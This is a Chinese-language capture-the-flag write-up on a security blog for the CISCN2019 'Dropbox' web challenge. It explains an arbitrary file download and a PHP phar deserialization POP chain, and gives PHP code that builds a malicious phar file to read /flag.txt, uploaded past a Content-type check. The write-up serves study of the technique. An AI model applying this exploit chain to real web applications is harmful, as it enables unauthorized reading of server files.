[CISCN2019 华北赛区 Day1 Web1]Dropbox1
浏览 712 | 评论 0 | 字数 3346
硝基苯
2022年02月07日
  • 知识点

    • 反序列化的pop链一定是一条链子串出来的,我们能控制的仅是成员变量
    • phar可以代替unserialize去进行反序列化操作
    • 除去__wakeup()方法,看到反序列化应该去找那个类的__destruct()

    可以利用phar的函数
    78272-ev56fp1vudc.png
    phar生成模板

    <?php
        class TestObject {
        }
        $phar = new Phar('phar.phar');
        $phar -> startBuffering();
        $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   //设置stub,增加gif文件头
        $phar ->addFromString('test.txt','test');  //添加要压缩的文件
        $object = new TestObject();
        $object -> data = 'hu3sky';
        $phar -> setMetadata($object);  //将自定义meta-data存入manifest
        $phar -> stopBuffering();
    ?>

    步入正题

    前期工作

    首先注册登录
    79926-sm71f0yh5uh.png
    可以上传下载文件
    44999-qdvuly8ase.png
    点击下载后
    发现filename,参数可控。任意文件下载
    74571-n17q6hjr59j.png
    读取题目文件
    14798-mhz38tqdr7i.png
    通过代码遍历出所有相关文件
    58535-ldnqrxtlet.png
    一堆类,考虑是反序列化的题,但是没出现unserialize的标志函数,存在上传file_get_contents,考虑phar的反序列化

    关键是调用File::close()
    06359-shqyo46r16.png
    看谁会调用close方法

    寻找pop链

    点一:
    User类的__destruct()
    81378-akbi3h70wbr.png
    假设User类的destruct直接触发File->close()。那User类返回的是文件内容,并未输出,所以需要找到输出的点

    点二:download.php
    63038-4eae4dqp48w.png
    filename是存在黑名单的,禁止出现flag。这里也不是命令执行,就是文件包含,\无法绕过。且前面有open_basedir,限制只能在当前路径和/etc、/tmp下读。

    点三:FileList::__call()。
    触发__call需要调用FileList类中不存在的方法,不存在的方法即为$func
    当$file设为new File(),$func设为close时==new File() -> close();读取到文件,并return到results中
    46377-xqt9m3x3yei.png
    FileList的__destruct()中,可以输出results
    61697-kwz72pr5fb.png

    明确思路
    • 要读到输出内容得先走FileList::__call()。里面的成员变量files要是File()func要是close()
    • 要触发它就得用User::__destruct()。里面的成员变量db要是FileList()

    明确,反序列化要找__destruct()方法

    所以pop链的逻辑顺序为:
    User->$db = FileList() => User::__destruct() => FileList::__call(‘close’) => FileList->$files = File() => File::close() =>FileList::__destruct()

    构造出poc

    <?php
    class User {
        public $db;
    }
    class File {
        public $filename ;
        public function __construct($filename)
        {
            $this->filename = $filename;
        }
        }
    class FileList {
        private $files;
        private $results;
        private $funcs;
    
        public function __construct() {
            $file = new File('/flag.txt');
            $this->files = array($file);
            $this->results = array();
            $this->funcs = array();
        }
    }
    
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
        
    $usr = new User();
    $usr->db = new FileList();
    
    $phar->setMetadata($usr); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "c6h5no2"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    ?>
    

    生成poc后,上传,Content-type绕过
    83744-eksibxwezt.png
    利用phar伪协议反序列化
    40378-8cyqz222a6.png

    本文作者:硝基苯
    本文链接:https://www.c6sec.com/index.php/archives/578/
    最后修改时间:2022-02-07 23:39:13
    本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!
    评论已关闭
    评论列表
    暂无评论